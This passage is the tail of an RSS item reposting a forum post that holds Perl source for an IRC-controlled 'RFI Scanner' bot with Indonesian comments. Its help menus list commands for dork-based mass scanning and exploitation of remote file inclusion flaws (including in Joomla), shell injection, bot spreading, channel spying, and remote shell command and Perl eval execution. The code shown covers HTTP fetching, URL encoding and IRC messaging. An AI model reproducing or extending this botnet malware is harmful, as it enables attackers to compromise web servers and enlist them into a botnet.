  my $url = $_[0];
<br />
  my $ua  = LWP::UserAgent-&gt;new;
<br />
  $ua-&gt;timeout($conf{timeout});
<br />
  $ua-&gt;agent('Mozilla/5.0');
<br />
  my $response = $ua-&gt;get($url);
<br />
  if ($response-&gt;is_success) { return $response-&gt;content; }
<br />
  else { return $response-&gt;status_line; }
<br />
}
<br />
sub bukasitus3 {
<br />
  my $url = $_[0];
<br />
  my $host  = $url;
<br />
  my $query = $url;
<br />
  my $isi; my $kirim;
<br />
  my $uagent  = &quot;Mozilla/5.0&quot;;
<br />
  $host  =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/;
<br />
  $query =~ s/$host//;
<br />
  eval {
<br />
    my $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; &quot;$host&quot;,PeerPort =&gt; &quot;80&quot;,Proto =&gt; &quot;tcp&quot;) || return;
<br />
    $kirim = &quot;GET &quot;.$query.&quot; HTTP/1.1\r\nHost: &quot;.$host.&quot;\r\nAccept: */*\r\nUser-Agent: &quot;.$uagent.&quot;\r\n\r\n&quot;;
<br />
    print $sock $kirim;
<br />
    my @r = &lt;sock&gt;;
<br />
    $isi = &quot;@r&quot;;
<br />
    close($sock);
<br />
  };
<br />
  return $isi;
<br />
}
<br />

<br />

<br />
sub SiteDomains { 
<br />
	my @dom = (&quot;com&quot;,&quot;net&quot;,&quot;org&quot;,&quot;uk&quot;,&quot;.kr&quot;,&quot;ru&quot;,&quot;it&quot;,&quot;fr&quot;,&quot;cz&quot;,&quot;com.ua&quot;,&quot;cn&quot;,&quot;ca&quot;,&quot;nl&quot;,&quot;hu&quot;,&quot;tv&quot;,&quot;li&quot;,&quot;com.au&quot;,&quot;de&quot;);
<br />
} 
<br />

<br />
##[ ENCODE/DECODE ]##
<br />
sub htmltourl { my $str = $_[0]; $str =~ s/&amp;amp;/&amp;/g; return $str; }
<br />
sub urlen {
<br />
  my $str = $_[0];
<br />
  #$str =~ s/\+/\%2B/g;
<br />
  $str =~ s/ /\+/g;
<br />
  $str =~ s/@/\%40/g;
<br />
  $str =~ s/\//\%2F/g;
<br />
  $str =~ s/&amp;/\%26/g;
<br />
  $str =~ s/\&quot;/\%22/g;
<br />
  $str =~ s/,/\%2C/g;
<br />
  $str =~ s/\\/\%5C/g;
<br />
  $str =~ s/:/\%3A/g;
<br />
  $str =~ s/\[/\%5B/g;
<br />
  $str =~ s/\]/\%5D/g;
<br />
  $str =~ s/\?/\%3F/g;
<br />
  $str =~ s/\=/\%3D/g;
<br />
  $str =~ s/\|/\%7C/g;
<br />
  return $str;
<br />
}
<br />
sub urlde {
<br />
  my $str = $_[0];
<br />
  $str =~ s/\+/ /g;
<br />
  $str =~ s/\%2B/\+/g;
<br />
  $str =~ s/\%40/@/g;
<br />
  $str =~ s/\%2E/\./g;
<br />
  $str =~ s/\%2F/\//g;
<br />
  $str =~ s/\%26/&amp;/g;
<br />
  $str =~ s/\%22/\&quot;/g;
<br />
  $str =~ s/\%2C/,/g;
<br />
  $str =~ s/\%5C/\\/g;
<br />
  $str =~ s/\%3A/:/g;
<br />
  $str =~ s/\%5[B|b]/\[/g;
<br />
  $str =~ s/\%5[D|d]/\]/g;
<br />
  $str =~ s/\%3F/\?/g;
<br />
  $str =~ s/\%3D/\=/g;
<br />
  $str =~ s/\%7C/\|/g;
<br />
  return $str;
<br />
}
<br />
sub cryptz { return crypt($_[0],&quot;shirohige&quot;); }
<br />

<br />
##[ TRIMMER CRLF ]##
<br />
sub trimrn {
<br />
  my $str = $_[0];
<br />
  if (!$str) { return &quot;&quot;; }
<br />
  $str =~ s/\r// if ($str);
<br />
  $str =~ s/\n//;
<br />
  return $str;
<br />
}
<br />

<br />
##[ INFO BOT ]##
<br />
sub bot_info   {
<br />
  my $chan   = $_[0];
<br />
  my $hlogo  = &quot;0,1 [X]9 &quot;;
<br />
  my $uname  = `gak penting`;
<br />
  my $uid    = `id`;
<br />
  my $uptime = `uptime`;
<br />
  my @info   = (
<br />
  $hlogo.&quot;0 RFI Scanner $versi Info&quot;,
<br />
  $hlogo.&quot;Written under 0ActivePerl 5.8.8 Build 820 9by 0KaRaX (Panjer)&quot;,
<br />
  $hlogo.&quot;Uname:0 Not Resolvet&quot;,
<br />
  $hlogo.&quot;Uid:0 Not Resolvet&quot;,
<br />
  $hlogo.&quot;Uptime:0 Not Resolvet&quot;,
<br />
  );
<br />
  foreach my $m(@info) { irc_msg($chan,$m); }
<br />
}
<br />

<br />
##[ HELP BOT ]##
<br />
sub bot_help {
<br />
  my ($chan,$level) = @_;
<br />
  my $hsepz = &quot;3,1[7«««3]12&quot;;
<br />
  my $hlogo = &quot;0,1[4«««0]4&quot;.$cmdpre;
<br />
  my @help; my $i;
<br />
  my @hlp1 = (
<br />
  $hsepz.&quot;RFI Scanner $versi Help&quot;,
<br />
  $hlogo.&quot;scan|scan2 &lt;bug&gt; &lt;dork&gt; 12 [»»»]15 Memulai scanner | scanner &amp; Eksploit RFI&quot;,
<br />
  $hlogo.&quot;respon 12 [»»»]15 Cek Respon &amp; Injector RFI&quot;,
<br />
  $hlogo.&quot;milw0rm &lt;keywords&gt; 12 [»»»]15 Mencari daftar bug di milw0rm&quot;,
<br />
  $hlogo.&quot;cek &lt;target&gt; 12 [»»»]15 Cek RFI shell &quot;,
<br />
  $hlogo.&quot;info 12 [»»»]15 Informasi bot&quot;,
<br />
  $hlogo.&quot;urlen|urlde &lt;teks&gt; 12 [»»»]15 Encoder/Decoder URL&quot;,
<br />
  $hlogo.&quot;auth &lt;password&gt; 12 [»»»]15 Login ke bot&quot;,
<br />
  );
<br />
  my @hlp2 = (
<br />
  $hsepz.&quot;User Commands:&quot;,
<br />
  $hlogo.&quot;joomla &lt;bug&gt; &lt;dork&gt; 15 Memulai scanner &amp; Eksploit RFI Joomla&quot;,
<br />
  $hlogo.&quot;hitung &lt;jumlah&gt; 15 Mengganti hitungan proses eksploitasi&quot;,
<br />
  $hlogo.&quot;cryptz &lt;password&gt; 15 Membuat password yg terenkripsi&quot;,
<br />
  $hlogo.&quot;join|part &lt;channel&gt; 15 Join/Part channel&quot;,
<br />
  $hlogo.&quot;nick &lt;nick&gt; 15 Ganti nick bot&quot;,
<br />
  $hlogo.&quot;logout 15 Logout dari bot&quot;,
<br />
  );
<br />
  my @hlp3 = (
<br />
  $hsepz.&quot;Admin Commands: &quot;,
<br />
  $hlogo.&quot;crespon[1/2]|cshell|cspread &lt;url&gt; 15 Mengganti respon/injector/spread/spread2 RFI&quot;,
<br />
  $hlogo.&quot;rfipid &lt;perintah&gt; 15 Mengganti RFI PID&quot;,
<br />
  $hlogo.&quot;spy 15 Menampilkan konfigurasi Spy&quot;,
<br />
  $hlogo.&quot;spyhost &lt;your&gt; 15 Channel host buat spy&quot;,
<br />
  $hlogo.&quot;spychan &lt;chan&gt; 15 Channel yang akan di spy&quot;,
<br />
  $hlogo.&quot;spyword &lt;regex&gt; 15 Kata yg di akan spy&quot;,
<br />
  $hlogo.&quot;raw &lt;perintah&gt; 15 Perintah Raw IRC&quot;,
<br />
  $hlogo.&quot;cmd &lt;perintah&gt; 15 Mengeksekusi perintah di shell&quot;,
<br />
  $hlogo.&quot;eval &lt;kode&gt; 15 Mengeksekusi kode perl &quot;,
<br />
  $hlogo.&quot;quit 15 Quit dari IRC&quot;,
<br />
  $hlogo.&quot;keluar 15 Quit dari IRC &amp; Matikan semua proses Perl&quot;,
<br />
  );
<br />
  my @hlp4 = (
<br />
  $hsepz.&quot;RFI Scanner $versi Comand Rahasia&quot;,
<br />
  $hlogo.&quot;autoscan &lt;bug&gt; &lt;dork&gt; 15 Memulai auto RFI scanner domains&quot;,
<br />
  $hlogo.&quot;gonick &lt;nick&gt; 15 Mengubah nickbot&quot;,
<br />
  $hlogo.&quot;gojoin &lt;chan&gt; 15Join ke chan&quot;,
<br />
  $hlogo.&quot;gopart &lt;chan&gt; 15Part dr chan&quot;,
<br />
  $hlogo.&quot;rfiproses &lt;RFIPID&gt; 15Mengubah proses PID Expoid&quot;,
<br />
  $hlogo.&quot;explo &lt;RFIEXplo&gt; 15Mengubah proses Expoid Count&quot;,
<br />
  $hlogo.&quot;cshell &lt;url&gt; 15Mengubah URL injektor&quot;,
<br />
  $hlogo.&quot;goid(1|2) &lt;url&gt; 15Mengubah URL ID respon 1 &amp; 2&quot;,
<br />
  $hlogo.&quot;csp &lt;url&gt; 15Mengubah URL Spread&quot;,
<br />
  $hlogo.&quot;urlbot(1|2|3) &lt;url&gt; 15Mengubah URL Bot Spread 1,2&amp;3 &quot;,
<br />
  $hlogo.&quot;urlcetak(1|2) &lt;url&gt; 15Mengubah URL Mesin Cetak Spread 1&amp;2 &quot;,
<br />
  $hlogo.&quot;gae(bot|botendel|botping|botscan|botedan) &lt;target&gt; 15Proses Pencetakan Bot&quot;,
<br />
  $hlogo.&quot;reonline 15 Reconect Bot&quot;,
<br />
  );
<br />
  if    ( $level == 1 ) { push(@help,@hlp1); }
<br />
  elsif ( $level == 2 ) { push(@help,@hlp2); }
<br />
  elsif ( $level == 3 ) { push(@help,@hlp3); }
<br />
  elsif ( $level == 4 ) { push(@help,@hlp4); }
<br />
  foreach my $m (@help) { irc_msg($chan,$m); $i++; if ( $i % $conf{linez} == 0 ) { sleep($conf{sleepz}); } }
<br />
}
<br />

<br />
##[ CUSTOM MESSAGE ]##
<br />
sub msge { my ($chan,$se,$res) = @_; irc_msg($chan,&quot;5,1[7«««5]3 &quot;.$se.&quot;14 &quot;.$res.&quot; 5[7»»»5]&quot;); }
<br />
sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan,&quot;5,1[7«««5]7 [$judul]15 $info 5[7»»»5]&quot;); }
<br />
sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan,&quot;5,1[7«««5]7 &quot;.$se.&quot; 15 &quot;.$nxurl.&quot; 5[7»»»5]&quot;); }
<br />
sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan,&quot;5,1[7«««5]14 &quot;.$se.&quot; 7 &quot;.$totr.&quot; 11 &quot;.$clr.&quot; 5[7»»»5]&quot;); }
<br />
sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan,&quot;5,1[7«««5]14 &quot;.$se.&quot; 7 &quot;.$res.&quot; 5[7»»»5]&quot;); }
<br />
sub ntci { my ($chan,$judul,$info) = @_; irc_ntc($chan,&quot;5,1[7«««5]14 [$judul]3 $info 5[7»»»5]&quot;); }
<br />

<br />
##[ PERINTAH RAW IRC ]##
<br />
sub irc_raw  { my $data = $_[0]; print $sock &quot;$data\r\n&quot;; }
<br />
sub irc_nick { my $nick = $_[0]; irc_raw(&quot;NICK $nick&quot;); }
<br />
sub irc_user { my $ident = $_[0]; irc_raw(&quot;USER $ident localhost * :4,1 Copyright »»» 2010 Scan;$versi&quot;); }
<br />
sub irc_msg  { my ($to,$psn) = @_; irc_raw(&quot;PRIVMSG $to :$psn&quot;); }
<br />
sub irc_act  { my ($to,$psn) = @_; irc_raw(&quot;PRIVMSG $to :ACTION $psn&quot;); }
<br />
sub irc_ntc  { my ($to,$psn) = @_; irc_raw(&quot;NOTICE $to :$psn&quot;); }
<br />
sub irc_join { my $to = $_[0]; irc_raw(&quot;JOIN $to&quot;); }
<br />
sub irc_part { my $to = $_[0]; irc_raw(&quot;PART $to&quot;); }
<br />
sub irc_quit { my $psn = $_[0]; irc_raw(&quot;QUIT :$psn&quot;); exit; }
<br />

<br />
##############################
<br />
##[ SHIROHIGE PIRATES CREW ]##
<br />
##############################]]></description>
            <author> no_email@example.com (CyberOps)</author>
            <guid isPermaLink="false">http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=8#8</guid>
        </item>
    </channel>
</rss>

